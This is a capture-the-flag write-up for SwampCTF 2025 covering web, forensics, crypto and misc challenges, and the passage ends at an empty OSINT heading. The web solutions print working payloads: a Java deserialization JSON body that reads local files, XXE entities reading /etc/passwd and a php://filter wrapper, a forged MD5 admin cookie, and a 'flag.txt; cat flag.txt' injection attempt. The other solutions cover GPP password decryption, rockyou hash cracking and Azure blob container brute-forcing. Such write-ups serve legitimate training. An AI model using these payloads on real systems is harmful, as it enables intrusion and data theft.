# Swamp CTF 2025

Hey, fellow hackers! 🏴‍☠️&#x20;

This be **r1pp3r** of the fearsome crew **P4rad0x**, settin’ sail for **SwampCTF 2025**!. Each one is a puzzle waiting to be unraveled, a system daring us to dig deeper. ⚓️ Yo-ho, let the hunt begin! ⚔️

## Web

### Serialies

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FBTPRC2QxyoDUgwX53mdy%2Fserialies.png?alt=media&#x26;token=19aa175d-12bb-4f75-8c6b-74bdf17e9b8a" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

Accessing the web app at <http://chals.swampctf.com:44444> gave a **“Whitelabel Error Page”** — classic Spring Boot placeholder.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FA8LM90gwqxWgFRMwqWG5%2Fwhite_label_error.png?alt=media&#x26;token=c674121c-e80b-4d53-b3f1-b6e769ff07b6" alt=""><figcaption><p>White label error</p></figcaption></figure>

Luckily, the **source code** was available for download. That’s where the real magic began.

Inside the Java source, we found the core controller: **`PersonController.java`**

```java
@RestController
@RequestMapping("/api/person")
public class PersonController {
    private List<Person> persons = new ArrayList<>();

    @PostMapping
    public String createPerson(@RequestBody Person person) {
        if (person.getAddress() == null) throw new IllegalArgumentException("Address is required");
        if (person.getJob() != null) {
            try {
                person.getJob().init();
            } catch (IOException e) {
                throw new RuntimeException("Error", e);
            }
        }
        persons.add(person);
        return "Person has been created with ID: " + person.getId();
    }

    @GetMapping
    public List<Person> getAllPersons() {
        return persons;
    }

    @GetMapping("/{id}")
    public Person getPersonById(@PathVariable UUID id) {
        return persons.stream().filter(p -> p.getId().equals(id)).findFirst()
                .orElseThrow(() -> new RuntimeException("Person not found"));
    }
}
```

> 💡 **Interesting Observation**: The `Job.init()` method is called if provided — and this method has access to the `resumeURI` field… 🔥

The application was deserializing full Java object trees from JSON input with **polymorphic class support** (`@class`). That meant we could provide custom objects and trigger method calls like `job.init()`.

**Payload to Leak Arbitrary Files:**

We crafted a JSON payload to:

1. Create a `Person` object.
2. Inject a `Job` object with a `resumeURI` set to `file:///flag.txt`.

```
{
  "@class": "com.serialies.serialies.Person",
  "name": "r1pp3r",
  "age": 1,
  "address": {
    "@class": "com.serialies.serialies.Address",
    "street": "",
    "city": "",
    "state": "",
    "zipCode": "000007"
  },
  "job": {
    "@class": "com.serialies.serialies.Job",
    "title": "Hackers",
    "company": "P4rad0x",
    "salary": 99.0,
    "resumeURI": "file:///flag.txt"
  }
}
```

On POSTing the payload to `/api/person` using `curl` ,

`curl -X POST http://<machine-ip>/api/person -H "Content-Type: application/json" -d 'payload'`

The server executed `init()` on our injected `Job`, which read the contents of `file:///flag.txt` into the `resume` field.

Output: `Person has been created with ID: f436db4a-ed69-4884-9cd7-7432f32d59b5`

Then a simple `GET /api/person` retrieved all `Person` objects — including our injected one — and the **flag** was now stored in the `resume` field.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FOv1GS9fNb2ywT3P11ylW%2Fimage.png?alt=media&#x26;token=5948f4dd-fdff-422b-9a9a-4352c7cebeee" alt=""><figcaption><p>/api/person/f436db4a-ed69-4884-9cd7-7432f32d59b5</p></figcaption></figure>

**swampCTF{f1l3\_r34d\_4nd\_d3s3r14l1z3\_pwn4g3\_x7q9z2r5v8}**

### Hidden Message Board

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2Fq0IYc0Zoqd4bU18jOhH9%2Fhidden_message_board.png?alt=media&#x26;token=60dbf150-1a15-49fe-8b1f-2e02695a0f0e" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

In this challenge, I landed on a basic message board—nothing special at first glance. But viewing the source, I noticed a JavaScript function called `checkCode()` .

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FGzUgYzbYySKzkLTHZuXw%2Fsource_code.png?alt=media&#x26;token=604d7133-3df4-47f0-9b8c-6cec8d892df5" alt=""><figcaption><p>checkCode();</p></figcaption></figure>

What it does:

* It checks if an element (`printFlagSetup`) has a `code` attribute equal to `G1v3M3Th3Fl@g!!!!`
* If true, it calls `getFlag()` and prints it

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FAU11ctsB4BP75ehq4NfU%2Fhidden_element.png?alt=media&#x26;token=f5040ea3-7caf-49d5-b7e4-47a84594c3b9" alt=""><figcaption><p>Hidden code in HTML</p></figcaption></figure>

In the HTML source, there's a hidden tag like:

`<printFlagSetup id="flagstuff" code>`

So we edit the HTML in-browser:

`<printFlagSetup id="flagstuff" code="G1v3M3Th3Fl@g!!!!">`

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FjHlOT6mg2J6wyiWDYwH4%2Fflag.png?alt=media&#x26;token=eb573db2-56b2-444e-8e78-029d0838b048" alt=""><figcaption><p>Flag</p></figcaption></figure>

Then, trigger the `checkCode()` function via by typing something in text area. Boom!.

**swampCTF{Cr0ss\_S1t3\_Scr1pt1ng\_0r\_XSS\_c4n\_ch4ng3\_w3bs1t3s}**

### Beginners Web

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FCODZChPfxkC2aklxwaMd%2Fbeginner_web.png?alt=media&#x26;token=1b98120d-3a02-4cf4-8c87-82d862a29792" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

This one had a three flag parts hidden two are encrypted on the page.&#x20;

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2Fl7RbNrbFJsrJUDtFPPqf%2Fpart1_source_code.png?alt=media&#x26;token=a45f8e4b-e6fe-48dd-a865-c52f4a6e6547" alt=""><figcaption><p>Flag - Part 1 </p></figcaption></figure>

First part was easy—it was in an HTML comment.&#x20;

`<!--Part 1 of the flag: w3b_"-->`&#x20;

Suspecting the rest might be buried in JavaScript, we dig into the browser’s **Network tab** and inspect the scripts being loaded. I uncover a class containing some interesting logic:

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FAZlU4KJPUl0xNpdxwXRX%2Fpart2_3_encryption.png?alt=media&#x26;token=4dc74dde-159a-4c5b-bb61-40d45235ab65" alt=""><figcaption><p>Flag - Part 2 and 3 encrypted</p></figcaption></figure>

From this code, we can deduce:

* The second and third segments are encrypted strings.
* Both use AES encryption.
* The key used to decrypt them is `"flagPart2_3"`.

To figure out the precise decryption parameters, I need to know which crypto library was used. The script references:

`var $n = Yp(Sp());`&#x20;

Following the definition of `Sp`, we can see it loads a variety of modules:

`"./core", "./enc-base64", "./md5", "./evpkdf", "./cipher-core", "./aes", ...`&#x20;

I wrote a quick Python script using `pycryptodome` to decrypt the base64 strings. Turns out they were using OpenSSL-compatible AES-CBC with salt.&#x20;

```python
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import md5

# Given key
key_str = "flagPart2_3".encode()  # Convert to bytes

# Given encrypted values (Base64 encoded)
enc_flag2_b64 = "U2FsdGVkX1/oCOrv2BF34XQbx7f34cYJ8aA71tr8cl8="
enc_flag3_b64 = "U2FsdGVkX197aFEtB5VUIBcswkWs4GiFPal6425rsTU="

# Decode Base64 to get encrypted bytes
enc_flag2 = b64decode(enc_flag2_b64)
enc_flag3 = b64decode(enc_flag3_b64)

# Derive Key and IV using OpenSSL's EVP_BytesToKey method
def evp_kdf(password, salt, key_len=32, iv_len=16):
    """Derives key and IV from password and salt using OpenSSL's method."""
    d = md5(password + salt).digest()
    final_key = d
    while len(final_key) < (key_len + iv_len):
        d = md5(d + password + salt).digest()
        final_key += d
    return final_key[:key_len], final_key[key_len:key_len+iv_len]


# OpenSSL "Salted__" format handling
# The salt for flag2 and flag3 differs
# Extract salt from flagPart2
assert enc_flag2[:8] == b"Salted__", "Unexpected format"
salt = enc_flag2[8:16]  # Extract salt (next 8 bytes)
# Extract salt from flagPart3
assert enc_flag3[:8] == b"Salted__", "Unexpected format"
salt2 = enc_flag3[8:16]  # Extract salt

# Derive key and IV
key, iv = evp_kdf(key_str, salt)
key2, iv2 = evp_kdf(key_str, salt2)

def decrypt_raw(enc, key, iv):
    """Decrypts AES-CBC encrypted data without removing padding."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.decrypt(enc[16:]) 

raw_flag2 = decrypt_raw(enc_flag2, key, iv)
raw_flag3 = decrypt_raw(enc_flag3, key2, iv2)

print(raw_flag2, raw_flag3)
```

**Final Flags:**

* Part 2: `br0w53r5_4r3_`
* Part 3: `c0mpl1c473d`

So full flag was:

**swampCTF{w3b\_br0w53r5\_4r3\_c0mpl1c473d}**

### Editor

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FX0bkh8QQm1M9z03hc1G4%2Feditor.png?alt=media&#x26;token=606ea878-1101-41fd-9f37-e9d7c54fef7a" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

In this challenge, it was a WYSIWYG HTML editor. The challenge description hinted that the flag was in `/flag.txt`, but direct access was blocked.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2Fcn4RenSAZMulyc5s4jFz%2Feditor_webpage.png?alt=media&#x26;token=ea1b245c-f22d-4c40-a100-a83cced2945c" alt=""><figcaption><p>Editor Website</p></figcaption></figure>

Since the editor lets you inject HTML, I just typed:

```html
<a href="flag.txt">flag</a>
```

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FGVRifLxbfdOKSdngMgLg%2Fflag_link_tag.png?alt=media&#x26;token=ecd8f775-0a93-4943-bee3-4dc4f6c54c5b" alt=""><figcaption><p>Flag in anchor tag &#x3C;a></p></figcaption></figure>

And clicked it right there in the rendered output, the file loaded.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FJn1ocHr5NxkZ5AFoWE2C%2Fflag.png?alt=media&#x26;token=496bcaf2-a5c6-48c2-9892-2dbe680efd81" alt=""><figcaption><p>Flag</p></figcaption></figure>

**swampCTF{c55\_qu3r135\_n07\_j5}**

### SwampTech Solutions

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FcuvL7yScgrH2m98IcM0r%2Fswamptech_solutions.png?alt=media&#x26;token=32bf77e6-9051-4b3e-a6a8-a29d8361b661" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

This one was juicier. I start off with a page where SwampTech Solutions welcoming us. Below the welcome message there is a login page for SwampTech employee

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FKjgpPvY0Ni3CkDPhubRS%2Fswamptech_solutions_login.png?alt=media&#x26;token=a4fa32e8-efbf-44fb-9b1d-ed6fa8bfb3ed" alt=""><figcaption><p>SwampTech Website</p></figcaption></figure>

Inspection the login page gives us the guest creds `guest:iambutalowlyguest`&#x20;

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2Fh7RSN1hkAAfmd9uVDDgo%2Fdefault_guest.png?alt=media&#x26;token=61728489-401c-4bba-9aef-1b4f56388ddf" alt=""><figcaption><p>Guest Login Creds</p></figcaption></figure>

After logging in as guest, there is a button says `if you are an admin, visit the admin page instead` .&#x20;

I am a guest now, but I liked to escalate privileges. I noticed a cookie named `user` .

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FSm9ZICFZRXeMMmKgr3j1%2Fguest_dash.png?alt=media&#x26;token=4214221c-9b53-4470-84e9-8a2139a186e1" alt=""><figcaption><p>Guest Dashboard</p></figcaption></figure>

`user:084e0343a0486ff05530df6c705c8bb4`  Looks suspiciously like an MD5 hash. A quick hash lookup tells us it’s MD5("guest").

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FsDuxkzrGyeLQbFdZNpM2%2Fuser_cookie.png?alt=media&#x26;token=b0e11c9b-f0d3-41db-b3ba-e763595e0dea" alt=""><figcaption><p>user cookie</p></figcaption></figure>

So, I created a MD5 hash of "admin" and stored it in the value of `user` cookie. `user:21232f297a57a5a743894a0e4a801fc3` . Changing the cookie to this gives us full admin access.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2F3GlsKAekEbOFpdWdpIcF%2Fadmin_dash.png?alt=media&#x26;token=69192d0f-e036-46c9-b800-e92a27a65d99" alt=""><figcaption><p>Admin Dashboard</p></figcaption></figure>

Inside the admin panel, there were several functionalities:

* A file checker form
* And API Action

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2Fq8Q02rSM24pMrXyFg0b2%2Fhidden_note.png?alt=media&#x26;token=765d757c-db51-453d-b724-f1ab942aefa9" alt=""><figcaption><p>Commented note</p></figcaption></figure>

This feature is added for the intern in the SwampTech Solutions.&#x20;

The file checker form says the "flag.txt" file exists in the current directory. But just checking file existence doesn't help us actually read it. So I tried some classic tricks like:

`flag.txt; cat flag.txt` . No Luck!

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FZyZXRd3Ml6vjKEyeOgmq%2Fhidden_form_element.png?alt=media&#x26;token=01b35b1e-c482-4475-bc0f-8f35feda551a" alt=""><figcaption><p>Hidden Form Element</p></figcaption></figure>

Digging into the HTML source, I found a form that was simply marked `hidden` via CSS. It was a feedback form asking for `name` and `email` , action directs to `process.php`&#x20;

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FrMfV1q8ZXkeoDII8rr5R%2Fposting_form.png?alt=media&#x26;token=b77c04f6-9b37-41d3-9601-5d9daef49c31" alt=""><figcaption></figcaption></figure>

I edited the HTML tag and submitted the form. Everything seems normal, but what stood out is **how** it submitted the data — as **XML**. Also the name value is reflected in the response.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FwUo50eIg1DwURmLfWMWr%2Fxxe_testing.png?alt=media&#x26;token=51dbaa73-fff0-41c1-8ee6-5e65575040fd" alt=""><figcaption><p>XML form post</p></figcaption></figure>

```xml
<root>
  <name>Albert Albert</name>
  <email>albert@swamptech.com</email>
</root>
```

This is a red flag!, for potential **XXE** vulnerabilities. When applications parse XML without proper configuration, attackers can inject external entities and access local files on the server.

To test for XXE, I crafted a basic payload to try reading `/etc/passwd`:

```xml
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
    <name>&xxe;</name>
    <email>Albert@swamptech.com</email>
</root>
```

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FNHtRZHE4K4Oo7ZRlQJin%2Fxxe_worked.png?alt=media&#x26;token=4873858a-44aa-4de7-82fc-155cfe5564aa" alt=""><figcaption><p>XXE exploited</p></figcaption></figure>

Submitted it… and boom! The contents of `/etc/passwd` were reflected in the response. Confrimed XXE vulnerability.

Now that we confirmed file access via XXE, the next goal was to grab `flag.txt`. Unfortunately, it threw an error. Because:

* The server is running on PHP and uses stream wrappers

So, let's try the PHP filter trick to **base64 encode** the output so we can safely read it:

```xml
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.txt"> ]><root>
    <name>&xxe;</name>
    <email>Albert@swamptech.com</email>
</root>
```

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2F9UcxPVh3MAMorSzrpyhA%2Fxxe_via_flag_retrieve.png?alt=media&#x26;token=a71776e3-7137-4eaf-8927-810451fe8337" alt=""><figcaption><p>flag in base64</p></figcaption></figure>

Success! It returned a base64 string: `c3dhbXBDVEZ7VzByazFOZ19DSDQxTDVfPHI+X0Z1Tn0K`

**swampCTF{W0rk1Ng\_CH41L5\_\_FuN}**

## Forensics

### Homework Help

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2F6ywjq0dzP1AM0aMhFIi1%2Fhomework_help.png?alt=media&#x26;token=d10b2189-92f4-44cb-95b8-88e60083a620" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

I am provided with a `.vhd` file—essentially a virtual hard disk commonly used by virtual machines. The objective was to **recover deleted data** from this disk image. I booted up the **Autopsy** tool

{% hint style="info" %}
**Autopsy** is a digital forensics tool that allows you to analyze disk images in a user-friendly graphical interface. It’s widely used by security professionals to:

* View file system structures
* Recover deleted files
* Analyze timelines, user activity, and more
  {% endhint %}

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FZUeHTPHBeF4FCbMenN6C%2Fautopsy_deleted_flag.png?alt=media&#x26;token=2fa6fa73-c2e0-4fd6-9838-113f1e6f83b1" alt=""><figcaption><p>Autopsy - Deleted files</p></figcaption></figure>

I loaded the `.vhd` file into Autopsy as a new case. After navigated through the filesystem view to the **"Deleted Files"** section. I noticed an interesting file called `Hacking Notes.docx`&#x20;

Opened the document within Autopsy’s viewer and Boom! — found the flag

**swampCTF{n0thing\_i5\_3v3r\_d3l3t3d}**

### Preferential Treatment

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FmC8YvnhwZXgwoxpl9T67%2Fpreferential_treatment.png?alt=media&#x26;token=a81e76e3-1d5d-4ad6-bfd1-1fe2eb55ccc8" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

This challenge handed us a **.pcap (packet capture)** file. The task was to extract a password from the captured network traffic.

First I opened the `.pcap` file in Wireshark and filtered traffic for **SMB (Server Message Block)** protocol, commonly used for file sharing in Windows environments.

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FkeW3ZoRjkTeeyoBXPNHq%2Fwireshark_cpassword.png?alt=media&#x26;token=ee4eb65b-2bb9-4dde-b67b-afc79304677e" alt=""><figcaption><p>Wireshark - cpassword</p></figcaption></figure>

There I spotted a **`groups.xml`** file transferred in the SMB stream and I followed the TCP stream to extract the file contents. The contents of the xml file has a interesting variable:

<pre><code><strong>cpassword=dAw7VQvfj9rs53A8t4PudTVf85Ca5cmC1Xjx6TpI/cS8WD4D8DXbKiWIZslihdJw3Rf+ijboX7FgLW7pF0K6x7dfhQ8gxLq34ENGjN8eTOI=
</strong></code></pre>

This `cpassword` field is an **obfuscated password** stored in the Windows Group Policy Preferences (GPP). It’s not truly encrypted—it uses a known AES key embedded in Microsoft documentation. Hence, it’s easily reversible.

Used the tool [`gpp-decrypt`](https://github.com/t0thkr1s/gpp-decrypt) to decode it.

```bash
 r1pp3r 🔱 god2eye ~/Downloads/tools-kit/gpp-decrypt on master 
  λ python3 gpp-decrypt.py -c "dAw7VQvfj9rs53A8t4PudTVf85Ca5cmC1Xjx6TpI/cS8WD4D8DXbKiWIZslihdJw3Rf+ijboX7FgLW7pF0K6x7dfhQ8gxLq34ENGjN8eTOI="

                               __                                __ 
  ___ _   ___    ___  ____ ___/ / ___  ____  ____  __ __   ___  / /_
 / _ `/  / _ \  / _ \/___// _  / / -_)/ __/ / __/ / // /  / _ \/ __/
 \_, /  / .__/ / .__/     \_,_/  \__/ \__/ /_/    \_, /  / .__/\__/ 
/___/  /_/    /_/                                /___/  /_/         

[ * ] Password: swampCTF{4v3r463_w1nd0w5_53cur17y}
```

**swampCTF{4v3r463\_w1nd0w5\_53cur17y}**

## Cryptography

### Rock my password

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FiOIbV7vLY8lbvcTRBLqB%2Frock_my_passwrod.png?alt=media&#x26;token=d5287373-4c5d-41ad-9e33-abf7294ab5f2" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

In this challenge, I am provided with a long hash string and tasked with reversing it to reveal the original password.&#x20;

Our goal was to recover the plaintext password and submit it in the format `swampCTF{password}`.

```
f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc
```

I am told that:

* The password is **10 characters long**
* It's sourced from the popular wordlist: **rockyou.txt**

First step, To make the cracking process more efficient, I filtered `rockyou.txt` to include only those passwords that are exactly 10 characters long.

```bash
awk 'length($0) == 10' /usr/share/wordlists/rockyou.txt > rockyou10.txt
```

This significantly reduced the number of candidates for our brute-force attempt:

```bash
cat rockyou10.txt
1234567890
basketball
tinkerbell
hellokitty
0123456789
volleyball
chrisbrown
strawberry
qwertyuiop
sweetheart
...
```

Next Step is to find the password, based on the challenge description, I reverse-engineered the hashing logic:

* First, the password is wrapped like this: `swampCTF{password}`
* The resulting string is hashed:
  1. **100 times with MD5**
  2. **100 times with SHA-256**
  3. **100 times with SHA-512**

The final hash result must match the one provided in the challenge.

I wrote a Python script to automate this layered hashing process:

```python
import hashlib

def hash100times(password):
    s = f"swampCTF{{{password}}}".encode()
    for i in range(100):
        md5 = hashlib.md5()
        md5.update(s)
        s = md5.digest()
    for i in range(100):
        sha256 = hashlib.sha256()
        sha256.update(s)
        s = sha256.digest()
    for i in range(100):
        sha512 = hashlib.sha512()
        sha512.update(s)
        s = sha512.digest()
    return s.hex()

given_hash = "f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc"

f = open('rockyou10.txt', 'r', errors='ignore')
passwords = f.readlines()
for password in passwords:
    password = password.strip('\n')
    hash1 = hash100times(password)
    if hash1 == given_hash:
        print(f"Found Match: swampCTF{{{password}}}")
f.close()
```

Running the script yielded the matching password:

**swampCTF{secretcode}**

## Misc

### Pretty Picture: Double Exposure

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FwcrbCcOeOM3gXTHlLb4A%2Fpretty_picture.png?alt=media&#x26;token=3c4d28a1-af65-4b90-869e-2e2a9bd49f84" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

In this challenge, I am given a suspiciously small PNG image named `double-exposure.png` along with the following hint:

> "Hidden in the bits below, an image waits to be shown."

This says it is a steganography challenge right away. The challenge name, **"Double Exposure"** hinted at hidden content layered within the pixel structure, possibly in the individual RGB bit planes.

To start off, I ran `exiftool` to analyze the image metadata:

```bash
 r1pp3r 🔱 god2eye ~/Documents/CTF/swampctf25/misc 
  λ exiftool double-exposure.png 
ExifTool Version Number         : 12.76
File Name                       : double-exposure.png
Directory                       : .
File Size                       : 5.9 kB
File Modification Date/Time     : 2025:03:30 01:07:54+05:30
File Access Date/Time           : 2025:03:30 01:09:34+05:30
File Inode Change Date/Time     : 2025:03:30 01:09:34+05:30
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 200
Image Height                    : 200
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Image Size                      : 200x200
Megapixels                      : 0.040
```

Nothing out of the ordinary popped up. It was a simple 200x200 PNG with RGBA color and 8-bit depth.

Then I turned to **Stegsolve**, a classic steganography analysis tool used to visualize different color and bit planes of an image.&#x20;

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2Fc6N0LdnLYUrUKEUC24w9%2Fstegsolve_random.png?alt=media&#x26;token=466548b9-6faa-4e6a-8948-5f7a87b41d41" alt=""><figcaption><p>Stegsolve - flag reveal</p></figcaption></figure>

Mostly the flag was visible in the all the planes but a little blurry. After cycling through the RGB planes manually for visible flag:

* **Green Plane 0** exposed **part 1** of the flag.
* **Red Plane 1** exposed **part 2** of the flag.

<div><figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FaE0l0ubs7wZO1VXqf9xV%2Fstegsolve_flag1.png?alt=media&#x26;token=02d3e0da-35d6-4c4f-b293-addc9e28fc9d" alt=""><figcaption><p>Stegsolve - Flag 1</p></figcaption></figure> <figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FAuKsspFpJ4obklO8bXry%2Fstegsolve_flag2.png?alt=media&#x26;token=fc3e0f39-3fe7-491c-92c6-a36093090644" alt=""><figcaption><p>Stegsolve - Flag 2</p></figcaption></figure></div>

Each plane revealed a segment of the full flag, but neither alone gave the full picture. When I combined the revealed segments:

**swampCTF{m3ss4g3s\_0r\_c0de\_c4n\_b3\_h1dd3n\_1n\_1m4g3s}**

### Blue

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2F29lFsng5dC2JXrhHl1Xn%2Fblue.png?alt=media&#x26;token=1a8642be-fa09-4341-a991-3ff3c78e3552" alt=""><figcaption><p>Challenge Description</p></figcaption></figure>

The "Blue" challenge dropped me into the world of **Azure Blob Storage** with very little to go on: just a name—`swampctf`—and a nudge that this involved **Azure cloud infrastructure**.&#x20;

This is a **very interesting challenge** and I **learned something new** in this challenge.

Without login credentials or internal access, this was a black-box challenge, and the key lay in discovering misconfigured public blob storage and this excellent reference saved the day:

**Reference:** [Azure Pentesting – Exploiting Anonymous Access to Blob Storage](https://braropad.medium.com/azure-pentesting-exploiting-the-anonymous-access-to-the-blob-storage-draft-english-d80f3831a590)

**Step 1: Probe Known Containers**

I tested for the existence of the default `$logs` container, which is automatically created in many Azure storage accounts:

<https://swampctf.blob.core.windows.net/$logs?restype=container&comp=list>

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2Fxv1FZ8T4qvg2zTXda9Kw%2Fblob.core_resourcenotfound.png?alt=media&#x26;token=a3abcb12-057d-4296-9143-b4d4dea2f2b8" alt=""><figcaption><p>/$logs</p></figcaption></figure>

This returned a response with `ResourceNotFound` This message confirming **anonymous access was enabled** for this storage account. That meant other containers could potentially be listed or accessed.

{% hint style="info" %}
“PublicAccessNotPermitted” message when the anonymous access is disabled
{% endhint %}

**Step 2: Bruteforce Container Names**

With this in mind, I used `ffuf` to fuzz for more blob container names:

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \
     -u https://swampctf.blob.core.windows.net/FUZZ?restype=container&comp=list
```

Boom! I discovered a container named `test` with status `200 OK`, meaning it was publicly accessible.

**Step 3: Explore Discovered Container**

Navigating to: `https://swampctf.blob.core.windows.net/test`

<figure><img src="https://2619072038-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyCrT4YxGad5HFRKWhUG8%2Fuploads%2FIeIVxDYu4XDP6tZDyeB8%2Ftest_endpoint_flag.png?alt=media&#x26;token=a69606b4-82e2-4c5e-bd94-7a3b3783a600" alt=""><figcaption><p>/test</p></figcaption></figure>

I found a file inside. Opening it revealed the flag!

**swampCTF{345y\_4zur3\_bl0b\_020525}**

## Osint

### Party Time!

